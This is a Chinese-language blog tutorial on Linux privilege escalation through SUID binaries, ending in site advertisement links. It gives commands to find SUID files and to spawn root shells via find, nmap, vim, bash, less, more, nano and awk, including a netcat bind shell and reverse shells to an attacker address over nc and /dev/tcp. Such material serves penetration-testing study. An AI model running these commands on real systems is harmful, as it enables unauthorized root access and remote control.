Linux提权之SUID提权
概念
SUID 是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限
若是对一些特殊命令设置了SUID,那么就会有被提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano、awk和cp等。
当s出现在文件所有者的x权限时,被称为 “set uid” 简称SUID,SUID 对一个文件的限制与功能包括有:
(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效
设置SUID权限
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
提权利用
收集具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
- /表示从文件系统的顶部(根)开始并找到每个目录
- -perm 表示搜索随后的权限
- -u = s表示查找root用户拥有的文件
- -type表示我们正在寻找的文件类型
- f 表示常规文件,而不是目录或特殊文件
- 2表示该进程的第二个文件描述符,即stderr(标准错误)
- /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
如下命令均具有s权限
find提权
find需要指向一个文本文件,就以/etc/passwd为例
find /etc/passwd -exec whoami \;
root
进入shell
find /etc/passwd -exec '/bin/sh' \;
sh-5.0# whoami
root
linux一般都安装了nc 我们也可以利用nc广播或者反弹shell:
广播shell(正向连接)
find user -exec nc -lvp 4444 -e '/bin/sh' \;
在攻击机上
nc 靶机ip 4444
反弹shell(反向连接)
find /etc/passwd -exec nc -e /bin/bash x.x.x.x port \;
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻击机上:
nc -lnvp 4444
nmap提权
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令,适用版本:nmap2.02至5.21
使用如下命令进入nmap交互模式:
nmap --interactive
在nmap交互模式中 通过如下命令提权
nmap> !sh
sh-3.2# whoami
root
Vim提权
vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
vim /etc/passwd
进入vim命令模式,通过vim进入shell
:set shell = '/bin/sh'
:shell
bash提权
以下命令将以root身份打开一个bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
less提权
less命令也可以进入shell
less /etc/passwd
#在less中输入:
!/bin/sh
more提权
more命令进入shell和less相同
more /etc/passwd
#在more中输入:
!/bin/sh
要注意的是使用more和less一定是读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell
nano提权
nano进入shell的方法为
nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令
cp提权
使用cp 命令覆盖原来的/etc/passwd文件
awk提权
awk命令进入shell:
awk 'BEGIN {system("/bin/bash")}'
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· DeepSeek在M芯片Mac上本地化部署